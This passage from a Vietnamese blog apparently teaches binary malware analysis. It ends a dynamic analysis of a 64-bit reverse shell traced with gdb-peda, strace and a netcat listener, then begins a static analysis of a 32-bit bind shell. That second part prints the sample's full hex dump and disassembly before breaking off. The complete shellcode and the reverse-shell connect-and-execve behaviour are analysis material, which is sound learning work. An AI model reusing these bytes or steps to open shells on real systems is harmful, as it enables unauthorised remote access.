<p>Đặt <strong>Breakpoint</strong> tại một số điểm gọi <strong>Syscall</strong> sau: <code>_start+22, _start+74 và _start+159</code>. Kiểm tra lại một lượt các breakpoint đã set bằng lệnh <code>info breakpoints</code>. Cuối cùng thực thi lệnh: <code>continue</code></p>
<pre><code class="language-plaintext">gdb-peda$ br * _start+22
Breakpoint 2 at 0x400096
gdb-peda$ br * _start+74
Breakpoint 3 at 0x4000ca
gdb-peda$ br * _start+159
Breakpoint 4 at 0x40011f
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400096 &lt;_start+22&gt;
3       breakpoint     keep y   0x00000000004000ca &lt;_start+74&gt;
4       breakpoint     keep y   0x000000000040011f &lt;_start+159&gt;
gdb-peda$ continue
...
</code></pre>
<p>Tại điểm đặt <strong>breakpoint thứ 1</strong>, nơi chương trình bắt đầu thiết lập Socket: <code>socket(PF_INET, SOCK_STREAM, IPPROTO_IP)</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/c4338491-06d1-45cf-ab80-7137df2e55c6.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/d20e5daf-2aa2-49f1-b832-b6700696241a/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Nhập lệnh continue để tiếp tục nhảy đến <strong>breakpoint thứ 2</strong> đã đặt. Tại đây, chương trình thực hiện gọi hàm: <code>connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);</code> với tham số <code>*addr</code> <strong>(RSI)</strong> đang trỏ đến một cấu trúc dữ liệu bao gồm địa chỉ IP <code>127.1.1.1</code> đã đc Patched và số hiệu Port là <code>31337</code>. <strong>PEDA</strong> nhận diện các <strong>Guessed arguments</strong> rất trực quan. Hãy xem hình dưới:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/9d3ea6dd-fac3-47a7-85ac-cb62f2ca0dd6.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5c02b289-7884-4efa-8dc3-f98236722637/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Kiểm tra Logs của <code>netcat</code> sẽ thấy như sau, báo hiệu có một client đã kết nối đến:</p>
<pre><code class="language-bash">$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45662)
</code></pre>
<p>Tương tự, ta sẽ đến được <strong>breakpoint thứ 3</strong> đã đặt. Tại đây quan sát trạng thái thanh ghi và Stack. Chương trình thực hiện gọi hàm <code>execve</code> với tham số truyền vào là chuỗi: <code>"/////bin////bash -i".</code> Quan sát hình dưới đây để thấy trực quan hơn:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/ff2a923a-3de4-4a29-a2d1-c59f1f269aab.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/71587394-73d2-4e29-a232-d3d4c2fca7ac/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Như vậy trong phần này chúng ta đã đi phân tích một Reverse Shell 64-bits đơn giản. Ngoài ra có thể sử dụng <strong>Strace</strong> để phân tích nhanh hơn và cũng là để xác minh lại những gì chúng ta đã phân tích tĩnh và động trước đó. Có nhiều công cụ và cách thức khác nhau để giải quyết một vấn đề sẽ tốt hơn là chỉ có một công cụ cho một vấn đề:</p>
<p>Khởi chạy <code>netcat</code>:</p>
<pre><code class="language-bash">$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
</code></pre>
<p>Kiểm tra với <code>netstat</code>:</p>
<pre><code class="language-bash">$ sudo netstat -plant | grep -i 'listen'
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      1123/dnsmasq
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1013/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      55231/cupsd
**tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58606/nc**
...
</code></pre>
<p>Monitor bằng <code>Strace</code>. Để tránh "nhiễu" trong kết quả, tôi sẽ lọc theo một nhóm các API nhất định:</p>
<pre><code class="language-bash">$ strace -itx -e trace=process,network ./ch07-revshell64-edited
17:48:54 [00007f7fe75547f7] execve("./ch07-revshell64-edited", ["./ch07-revshell64-edited"], [/* 22 vars */]) = 0
17:48:54 [0000000000400098] socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
17:48:54 [00000000004000cc] connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
17:48:54 [0000000000400121] execve("/////bin////bash", ["/////bin////bash", "-i"], NULL) = 0
...
</code></pre>
<p>Kiểm tra lại logs trên <code>netcat</code>:</p>
<pre><code class="language-bash">$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45666)
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

osboxes@bac64:/home/osboxes$ exit
</code></pre>
<p>Kết quả trên <code>Strace</code>:</p>
<pre><code class="language-bash">$ strace -itx -e trace=process,network ./ch07-revshell64-edited
...
17:48:57 [00007fe6d14077c8] exit_group(0) = ?
17:48:57 [????????????????] +++ exited with 0 +++
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Binary 105: Bind Shell Analysis]]></title><description><![CDATA[Bài này thực hành phân tích một Bind Shell đơn giản. Lưu ý là Bind Shell được viết trực tiếp bằng Assembly, các lời gọi hàm đều thông qua System Calls nên cần chú ý đến Calling Convention vì nó không ]]></description><link>https://blog.lehonghai.com/binary-105-bind-shell-analysis</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-105-bind-shell-analysis</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 15 Mar 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Bài này thực hành phân tích một <strong>Bind Shell</strong> đơn giản. Lưu ý là Bind Shell được viết trực tiếp bằng Assembly, các lời gọi hàm đều thông qua System Calls nên cần chú ý đến Calling Convention vì nó không giống như các CC của các Trình biên dịch: <code>stdcall</code>, <code>fastcall</code>, <code>cdecl</code>,.. Giả định tình huống chúng ta nhận được cảnh báo xuất hiện một <a href="https://github.com/PacktPublishing/Binary-Analysis-Cookbook/blob/master/Chapter-06/32bit/ch06-bindshell32">tệp lạ</a> trên hệ thống.</p>
<h1>1. Tìm kiếm và thu thập mẫu</h1>
<p>Bước đầu cần xác định được vị trí của tệp độc hại. Sử dụng <code>updatedb/locate</code>. Tham số <code>-w -i</code> sẽ tìm kiếm mà không phân biệt chữ hoa, thường.</p>
<pre><code class="language-bash">$ sudo updatedb
$ sudo locate -i -w ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.nasm
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.o
</code></pre>
<p>Sử dụng <code>find</code> để xác định lại chính xác vị trí tệp:</p>
<pre><code class="language-bash">$ sudo find -name ch06-bindshell32
./bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
</code></pre>
<h1>2. Trích xuất thông tin mẫu</h1>
<p>Cần thu thập càng nhiều thông tin hữu ích nhất về tệp càng tốt, các thông tin được sắp xếp một cách khoa học, dễ hiểu. Sử dụng các công cụ đã đề cập như: <code>file</code>, <code>strings</code>, <code>objdump</code>, <code>readelf</code>, <code>hexdump</code>,..</p>
<p>Sử dụng <code>file</code>:</p>
<pre><code class="language-bash">$ file ch06-bindshell32
ch06-bindshell32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
</code></pre>
<p><strong>Giải thích:</strong></p>
<ul>
<li><p><code>ELF 32-bit LSB executable</code>: Tệp thực thi được biên dịch cho máy 32-bits, Little-Endian</p>
</li>
<li><p><code>Intel 80386</code>: Kiến trúc VXL</p>
</li>
<li><p><code>statically linked</code>: Linux thường là static</p>
</li>
<li><p><code>not stripped</code>: Không xóa Debug Symbol và các thông tin khác</p>
</li>
</ul>
<p>Trích xuất các chuỗi bằng <code>strings</code>:</p>
<pre><code class="language-bash">$ strings ch06-bindshell32
Phbashh////h/bin
Pfh-i
ch06-bindshell32.nasm
jump_short
call_bind
listener
accept_connect
change_fd
shell_exec
portconfig
portnum
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
</code></pre>
<p><strong>Một số chuỗi cần quan tâm:</strong></p>
<ul>
<li><p>Chuỗi: <code>"Phbashh////h/bin"</code> ⇒ Gợi nhớ đến chuỗi: <code>"bin"</code> và <code>"bash"</code></p>
</li>
<li><p>Chuỗi: <code>"ch06-bindshell32.nasm"</code> ⇒ Có thể là file chương trình ban đầu khi biên dịch</p>
</li>
<li><p>Các chuỗi: <code>"jump_short, call_bind, listener, accept_connect, change_fd, shell_exec, portconfig, portnum"</code> ⇒ Các lable trong Assembly, nó như các khối mã</p>
</li>
<li><p>Các chuỗi: <code>".symtab, .strtab, .shstrtab, .text"</code> ⇒ Các section của tệp ELF</p>
</li>
</ul>
<p>Sử dụng <code>readelf</code> để Trích xuất cấu trúc <strong>ELF</strong>:</p>
<pre><code class="language-plaintext">$ readelf -a -W ch06-bindshell32
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048060
  Start of program headers:          52 (bytes into file)
  Start of section headers:          660 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 00009a 00  AX  0   0 16
  [ 2] .shstrtab         STRTAB          00000000 000270 000021 00      0   0  1
  [ 3] .symtab           SYMTAB          00000000 0000fc 0000f0 10      4  11  4
  [ 4] .strtab           STRTAB          00000000 0001ec 000084 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x000fa 0x000fa R E 0x1000

 Section to Segment mapping:
  Segment Sections...
   00     .text

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.symtab' contains 15 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 08048060     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 FILE    LOCAL  DEFAULT  ABS ch06-bindshell32.nasm
     3: 08048076     0 NOTYPE  LOCAL  DEFAULT    1 jump_short
     4: 08048078     0 NOTYPE  LOCAL  DEFAULT    1 call_bind
     5: 08048099     0 NOTYPE  LOCAL  DEFAULT    1 listener
     6: 080480aa     0 NOTYPE  LOCAL  DEFAULT    1 accept_connect
     7: 080480b9     0 NOTYPE  LOCAL  DEFAULT    1 change_fd
     8: 080480cd     0 NOTYPE  LOCAL  DEFAULT    1 shell_exec
     9: 080480f3     0 NOTYPE  LOCAL  DEFAULT    1 portconfig
    10: 080480f8     0 NOTYPE  LOCAL  DEFAULT    1 portnum
    11: 08048060     0 NOTYPE  GLOBAL DEFAULT    1 _start
    12: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
    13: 080490fa     0 NOTYPE  GLOBAL DEFAULT    1 _edata
    14: 080490fc     0 NOTYPE  GLOBAL DEFAULT    1 _end

No version information found in this file.
</code></pre>
<p>Kết quả từ <code>readelf</code> cho thấy chương trình có rất ít thông tin, rất tối giản, không có nhiều <strong>Section</strong>. Đây là đặc điểm dễ nhận thấy của các chương trình viết bằng <strong>Assembly</strong></p>
<p>Sử dụng <code>objdump</code> để trích xuất cấu trúc ELF:</p>
<pre><code class="language-bash">$ objdump -x -s ch06-bindshell32

ch06-bindshell32:     file format elf32-i386
ch06-bindshell32
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048060

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000000fa memsz 0x000000fa flags r-x

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000009a  08048060  08048060  00000060  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
SYMBOL TABLE:
08048060 l    d  .text  00000000 .text
00000000 l    df *ABS*  00000000 ch06-bindshell32.nasm
08048076 l       .text  00000000 jump_short
08048078 l       .text  00000000 call_bind
08048099 l       .text  00000000 listener
080480aa l       .text  00000000 accept_connect
080480b9 l       .text  00000000 change_fd
080480cd l       .text  00000000 shell_exec
080480f3 l       .text  00000000 portconfig
080480f8 l       .text  00000000 portnum
08048060 g       .text  00000000 _start
080490fa g       .text  00000000 __bss_start
080490fa g       .text  00000000 _edata
080490fc g       .text  00000000 _end

Contents of section .text:
 8048060 31c031db 31c96a06 6a016a02 b066b301  1.1.1.j.j.j..f..
 8048070 89e1cd80 89c7eb7b 5e31c031 db31c931  .......{^1.1.1.1
 8048080 d25066ff 36b00266 5089e26a 10525731  .Pf.6..fP..j.RW1
 8048090 c0b066b3 0289e1cd 8031c031 db31c96a  ..f......1.1.1.j
 80480a0 0157b066 b30489e1 cd8031c0 31db5053  .W.f......1.1.PS
 80480b0 57b066b3 0589e1cd 8089c331 c931c0b0  W.f........1.1..
 80480c0 3fcd80b0 3f41cd80 b03f41cd 8031c050  ?...?A...?A..1.P
 80480d0 68626173 68682f2f 2f2f682f 62696e89  hbashh////h/bin.
 80480e0 e3506668 2d6989e6 50565389 e131d2b0  .Pfh-i..PVS..1..
 80480f0 0bcd80e8 80ffffff 115c               .........\
</code></pre>
<p>Sử dụng <code>hexdump</code> để view tệp dạng hex và các ký tự thấy được:</p>
<pre><code class="language-plaintext">$ hexdump -C -v ch06-bindshell32
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  60 80 04 08 34 00 00 00  |........`...4...|
00000020  94 02 00 00 00 00 00 00  34 00 20 00 01 00 28 00  |........4. ...(.|
00000030  05 00 02 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000040  00 80 04 08 fa 00 00 00  fa 00 00 00 05 00 00 00  |................|
00000050  00 10 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  31 c0 31 db 31 c9 6a 06  6a 01 6a 02 b0 66 b3 01  |1.1.1.j.j.j..f..|
00000070  89 e1 cd 80 89 c7 eb 7b  5e 31 c0 31 db 31 c9 31  |.......{^1.1.1.1|
00000080  d2 50 66 ff 36 b0 02 66  50 89 e2 6a 10 52 57 31  |.Pf.6..fP..j.RW1|
00000090  c0 b0 66 b3 02 89 e1 cd  80 31 c0 31 db 31 c9 6a  |..f......1.1.1.j|
000000a0  01 57 b0 66 b3 04 89 e1  cd 80 31 c0 31 db 50 53  |.W.f......1.1.PS|
000000b0  57 b0 66 b3 05 89 e1 cd  80 89 c3 31 c9 31 c0 b0  |W.f........1.1..|
000000c0  3f cd 80 b0 3f 41 cd 80  b0 3f 41 cd 80 31 c0 50  |?...?A...?A..1.P|
000000d0  68 62 61 73 68 68 2f 2f  2f 2f 68 2f 62 69 6e 89  |hbashh////h/bin.|
000000e0  e3 50 66 68 2d 69 89 e6  50 56 53 89 e1 31 d2 b0  |.Pfh-i..PVS..1..|
000000f0  0b cd 80 e8 80 ff ff ff  11 5c 00 00 00 00 00 00  |.........\......|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000110  60 80 04 08 00 00 00 00  03 00 01 00 01 00 00 00  |`...............|
00000120  00 00 00 00 00 00 00 00  04 00 f1 ff 17 00 00 00  |................|
00000130  76 80 04 08 00 00 00 00  00 00 01 00 22 00 00 00  |v..........."...|
00000140  78 80 04 08 00 00 00 00  00 00 01 00 2c 00 00 00  |x...........,...|
00000150  99 80 04 08 00 00 00 00  00 00 01 00 35 00 00 00  |............5...|
00000160  aa 80 04 08 00 00 00 00  00 00 01 00 44 00 00 00  |............D...|
00000170  b9 80 04 08 00 00 00 00  00 00 01 00 4e 00 00 00  |............N...|
00000180  cd 80 04 08 00 00 00 00  00 00 01 00 59 00 00 00  |............Y...|
00000190  f3 80 04 08 00 00 00 00  00 00 01 00 64 00 00 00  |............d...|
000001a0  f8 80 04 08 00 00 00 00  00 00 01 00 71 00 00 00  |............q...|
000001b0  60 80 04 08 00 00 00 00  10 00 01 00 6c 00 00 00  |`...........l...|
000001c0  fa 90 04 08 00 00 00 00  10 00 01 00 78 00 00 00  |............x...|
000001d0  fa 90 04 08 00 00 00 00  10 00 01 00 7f 00 00 00  |................|
000001e0  fc 90 04 08 00 00 00 00  10 00 01 00 00 63 68 30  |.............ch0|
000001f0  36 2d 62 69 6e 64 73 68  65 6c 6c 33 32 2e 6e 61  |6-bindshell32.na|
00000200  73 6d 00 6a 75 6d 70 5f  73 68 6f 72 74 00 63 61  |sm.jump_short.ca|
00000210  6c 6c 5f 62 69 6e 64 00  6c 69 73 74 65 6e 65 72  |ll_bind.listener|
00000220  00 61 63 63 65 70 74 5f  63 6f 6e 6e 65 63 74 00  |.accept_connect.|
00000230  63 68 61 6e 67 65 5f 66  64 00 73 68 65 6c 6c 5f  |change_fd.shell_|
00000240  65 78 65 63 00 70 6f 72  74 63 6f 6e 66 69 67 00  |exec.portconfig.|
00000250  70 6f 72 74 6e 75 6d 00  5f 5f 62 73 73 5f 73 74  |portnum.__bss_st|
00000260  61 72 74 00 5f 65 64 61  74 61 00 5f 65 6e 64 00  |art._edata._end.|
00000270  00 2e 73 79 6d 74 61 62  00 2e 73 74 72 74 61 62  |..symtab..strtab|
00000280  00 2e 73 68 73 74 72 74  61 62 00 2e 74 65 78 74  |..shstrtab..text|
00000290  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000002b0  00 00 00 00 00 00 00 00  00 00 00 00 1b 00 00 00  |................|
000002c0  01 00 00 00 06 00 00 00  60 80 04 08 60 00 00 00  |........`...`...|
000002d0  9a 00 00 00 00 00 00 00  00 00 00 00 10 00 00 00  |................|
000002e0  00 00 00 00 11 00 00 00  03 00 00 00 00 00 00 00  |................|
000002f0  00 00 00 00 70 02 00 00  21 00 00 00 00 00 00 00  |....p...!.......|
00000300  00 00 00 00 01 00 00 00  00 00 00 00 01 00 00 00  |................|
00000310  02 00 00 00 00 00 00 00  00 00 00 00 fc 00 00 00  |................|
00000320  f0 00 00 00 04 00 00 00  0b 00 00 00 04 00 00 00  |................|
00000330  10 00 00 00 09 00 00 00  03 00 00 00 00 00 00 00  |................|
00000340  00 00 00 00 ec 01 00 00  84 00 00 00 00 00 00 00  |................|
00000350  00 00 00 00 01 00 00 00  00 00 00 00              |............|
</code></pre>
<p>Đầu ra của <code>Hexdump</code> cũng cho thấy các <strong>Strings</strong> của chương trình</p>
<h1>3. Phân tích tĩnh</h1>
<p>Đây là bước quan trọng trong quá trình phân tích để hiểu được chương trình có những chức năng gì, hoạt động gì tác động lên hệ thống. Đây là phương pháp phân tích an toàn vì nó không đòi hỏi phải thực thi chương trình. Phần này sẽ áp dụng những kiến thức của trước: System call number, Ngắt và Man Page trong bài trước để tiến hành phân tích.</p>
<ul>
<li><p><strong>Sử dụng objdump để disassembly BindShell theo cú pháp Intel:</strong></p>
<pre><code class="language-plaintext">$ objdump -l -D -M intel ch06-bindshell32

ch06-bindshell32:     file format elf32-i386

Disassembly of section .text:

08048060 &lt;_start&gt;:
_start():
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       31 c9                   xor    ecx,ecx
 8048066:       6a 06                   push   0x6
 8048068:       6a 01                   push   0x1
 804806a:       6a 02                   push   0x2
 804806c:       b0 66                   mov    al,0x66
 804806e:       b3 01                   mov    bl,0x1
 8048070:       89 e1                   mov    ecx,esp
 8048072:       cd 80                   int    0x80
 8048074:       89 c7                   mov    edi,eax

08048076 &lt;jump_short&gt;:
jump_short():
 8048076:       eb 7b                   jmp    80480f3 &lt;portconfig&gt;

08048078 &lt;call_bind&gt;:
call_bind():
 8048078:       5e                      pop    esi
 8048079:       31 c0                   xor    eax,eax
 804807b:       31 db                   xor    ebx,ebx
 804807d:       31 c9                   xor    ecx,ecx
 804807f:       31 d2                   xor    edx,edx
 8048081:       50                      push   eax
 8048082:       66 ff 36                push   WORD PTR [esi]
 8048085:       b0 02                   mov    al,0x2
 8048087:       66 50                   push   ax
 8048089:       89 e2                   mov    edx,esp
 804808b:       6a 10                   push   0x10
 804808d:       52                      push   edx
 804808e:       57                      push   edi
 804808f:       31 c0                   xor    eax,eax
 8048091:       b0 66                   mov    al,0x66
 8048093:       b3 02                   mov    bl,0x2
 8048095:       89 e1                   mov    ecx,esp
 8048097:       cd 80                   int    0x80

08048099 &lt;listener&gt;:
listener():
 8048099:       31 c0                   xor    eax,eax
 804809b:       31 db                   xor    ebx,ebx
 804809d:       31 c9                   xor    ecx,ecx
 804809f:       6a 01                   push   0x1
 80480a1:       57                      push   edi
 80480a2:       b0 66                   mov    al,0x66
 80480a4:       b3 04                   mov    bl,0x4
 80480a6:       89 e1                   mov    ecx,esp
 80480a8:       cd 80                   int    0x80

080480aa &lt;accept_connect&gt;:
accept_connect():
 80480aa:       31 c0                   xor    eax,eax
 80480ac:       31 db                   xor    ebx,ebx
 80480ae:       50                      push   eax
 80480af:       53                      push   ebx
 80480b0:       57                      push   edi
 80480b1:       b0 66                   mov    al,0x66
 80480b3:       b3 05                   mov    bl,0x5
 80480b5:       89 e1                   mov    ecx,esp
 80480b7:       cd 80                   int    0x80

080480b9 &lt;change_fd&gt;:
change_fd():
 80480b9:       89 c3                   mov    ebx,eax
 80480bb:       31 c9                   xor    ecx,ecx
 80480bd:       31 c0                   xor    eax,eax
 80480bf:       b0 3f                   mov    al,0x3f
 80480c1:       cd 80                   int    0x80
 80480c3:       b0 3f                   mov    al,0x3f
 80480c5:       41                      inc    ecx
 80480c6:       cd 80                   int    0x80
 80480c8:       b0 3f                   mov    al,0x3f
 80480ca:       41                      inc    ecx
 80480cb:       cd 80                   int    0x80

080480cd &lt;shell_exec&gt;:
shell_exec():
 80480cd:       31 c0                   xor    eax,eax
 80480cf:       50                      push   eax
 80480d0:       68 62 61 73 68          push   0x68736162
 80480d5:       68 2f 2f 2f 2f          push   0x2f2f2f2f
 80480da:       68 2f 62 69 6e          push   0x6e69622f
 80480df:       89 e3                   mov    ebx,esp
 80480e1:       50                      push   eax
 80480e2:       66 68 2d 69             pushw  0x692d
 80480e6:       89 e6                   mov    esi,esp
 80480e8:       50                      push   eax
 80480e9:       56                      push   esi
 80480ea:       53                      push   ebx
 80480eb:       89 e1                   mov    ecx,esp
 80480ed:       31 d2                   xor    edx,edx
 80480ef:       b0 0b                   mov    al,0xb
 80480f1:       cd 80                   int    0x80

080480f3 &lt;portconfig&gt;:
portconfig():
 80480f3:       e8 80 ff ff ff          call   8048078 &lt;call_bind&gt;

080480f8 &lt;portnum&gt;:
portnum():
 80480f8:       11                      .byte 0x11
 80480f9:       5c                      pop    esp
</code></pre>
</li>
</ul>
<p><strong>Giải thích:</strong></p>
<ul>
<li><p><strong>Khối: 08048060 &lt;_start&gt;</strong></p>
<ul>
<li><p>3 lệnh đầu: Khởi tạo giá trị 0 cho các thanh ghi <strong>EAX, EBX, ECX</strong></p>
</li>
<li><p>3 lệnh tiếp sau: Lần lượt đẩy các giá trị 0x6, 0x1, 0x2 lên Stack. Trạng thái Stack lúc này sẽ lần lượt chứa các giá trị sau: <strong>0x2, 0x1, 0x6</strong> (Do cơ chế <strong>LIFO</strong>).</p>
</li>
<li><p>Tại 804806c: <strong>AL = 0x66</strong> ⇒ <strong>System call number.</strong> Kiểm tra trong: <code>"/usr/include/i386-linux-gnu/asm/unistd_32.h"</code> ⇒ <code>#define __NR_socketcall 102</code> ⇒ <code>int socketcall(int call, unsigned long *args);</code></p>
</li>
<li><p>Tại 804806e: <strong>BL = 0x1</strong> ⇒ Tham số thứ 1 truyền vào hàm <code>socketcall</code> ⇒ Kiểm tra trong: <code>"/usr/include/linux/net.h"</code> ⇒ <code>#define SYS_SOCKET 1 /* sys_socket(2) */</code></p>
</li>
<li><p>Tại 8048070: ECX trỏ vào đỉnh Stack. Đây là 3 tham số sẽ được truyền vào hàm: <code>int socket(int domain, int type, int protocol);</code> Với: <code>domain=2=PF_INET</code> ⇒ Sử dụng socket với địa chỉ ip và port number để kết nối, <code>type=SOCK_STREAM</code>, <code>protocol=IPPROTO_TCP</code> ⇒ Sử dụng kiểu kết nối tin cậy - TCP (Kiểm tra trong: <code>"/etc/protocols"</code>).</p>
</li>
<li><p>Tại 8048072: Gọi ngắt thực hiện <strong>System call</strong></p>
</li>
<li><p>Tại 8048074: Lưu kết quả vào EDI.</p>
</li>
<li><p>Tóm lại khối này trông sẽ tương tự như sau: <code>sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)</code></p>
</li>
</ul>
</li>
<li><p><strong>Khối: 08048076 &lt;jump_short&gt;</strong></p>
<ul>
<li>Thực hiện nhảy không điều kiện đến khối: <code>80480f3 &lt;portconfig&gt;</code></li>
</ul>
</li>
<li><p><strong>Khối: 08048078 &lt;call_bind&gt;</strong></p>
<ul>
<li><p>Tại 8048078: <strong>ESI = Port number = 4444</strong></p>
</li>
<li><p>Tại 8048079 đến 804807f: Khởi tạo giá trị 0 cho các thanh ghi: <strong>EAX, EBX, ECX, EDX</strong></p>
</li>
<li><p>Tại 8048081: Đưa 0 lên Stack</p>
</li>
<li><p>Tại 8048082: Đưa địa chỉ trỏ đến <strong>ESI/Port number</strong> lên Stack.</p>
</li>
<li><p>Tại 8048085: AL=0x2. Tại 8048087: Đưa 0x2 lên Stack</p>
</li>
<li><p>Tại 8048089: EDX trỏ vào đỉnh Stack, trạng thái Stack lúc này: <code>0x10, 0x02, 115C, 0x00</code></p>
</li>
<li><p>Từ 804808b đến 804808e: Lần lựa đẩy các giá trị 0x10, EDX, EDI lên Stack. Trạng thái Stack lúc này: <code>[sock_fd](địa chỉ đỉnh stack trước khi push 0x10), 0x10, 0x02, 115c, 0x00</code></p>
</li>
<li><p>Tại 804808f: Reset EAX = 0. Tại 8048091: AL=0x66 ⇒ System call number ⇒ <code>#define __NR_socketcall 102</code></p>
</li>
<li><p>Tại 8048093: BL=0x2 ⇒ <code>Tham số thứ 1 của socketcall</code> ⇒ Tra cứu trong: <code>"/usr/include/linux/net.h"</code> ⇒ <code>#define SYS_BIND 2 /* sys_bind(2) */</code> ⇒ <code>int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);</code></p>
</li>
<li><p>Tại 8048095: ECX trỏ đến Stack ⇒ <code>Tham số thứ 2 của socketcall</code></p>
</li>
<li><p>Tại 8048097: Gọi ngắt thực hiện <strong>System call</strong></p>
</li>
<li><p>Một loạt các kỹ thuật phức tạp được thực hiện, mục đích cuối cùng là thiết lập các đối số trên ngăn xếp đúng cách cho hàm <code>bind</code>. Tóm lại khối này trông tương tự như sau: <code>bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16)</code>. Hay ngắn gọn hơn thì là: <code>bind(sockfd, AF_INET, 4444, 0.0.0.0.0);</code></p>
</li>
</ul>
</li>
<li><p><strong>Khối: 08048099</strong></p>
<ul>
<li><p>Từ 8048099 đến 804809d: Khởi tạo giá trị 0 cho các thanh ghi: <strong>EAX, EBX, ECX</strong></p>
</li>
<li><p>Tại 804809f và 80480a1: Sau khi thực hiện, trạng thái Stack là: <code>sockfd, 0x1</code></p>
</li>
<li><p>Tại 80480a2: AL=0x66 ⇒ System call number ⇒ <code>#define __NR_socketcall 102</code></p>
</li>
<li><p>Tại 80480a4: BL=0x4 ⇒ Tham số thứ 2 cho hàm <code>socketcall</code> ⇒ Tra cứu trong <code>"/usr/include/linux/net.h"</code> ⇒ ta được: <code>#define SYS_LISTEN 4 /* sys_listen(2) */</code> ⇒ <code>int listen(int sockfd, int backlog);</code></p>
</li>
<li><p>Tại 80480a6: ECX trỏ vào đỉnh Stack.</p>
</li>
<li><p>Tại 80480a8: Gọi ngắt thực hiện <strong>System call</strong></p>
</li>
<li><p>Tóm lại khối này thực hiện lắng nghe các kết nối đến thông qua hàm <code>listen(3, 1);</code></p>
</li>
</ul>
</li>
<li><p><strong>Khối: 080480aa &lt;accept_connect&gt;</strong></p>
<ul>
<li><p>Tại 80480aa và 80480ac: EAX = EBX = 0</p>
</li>
<li><p>Tại 80480ae đến 80480b0: Trạng thái Stack: <code>sockfd, 0x00, 0x00</code></p>
</li>
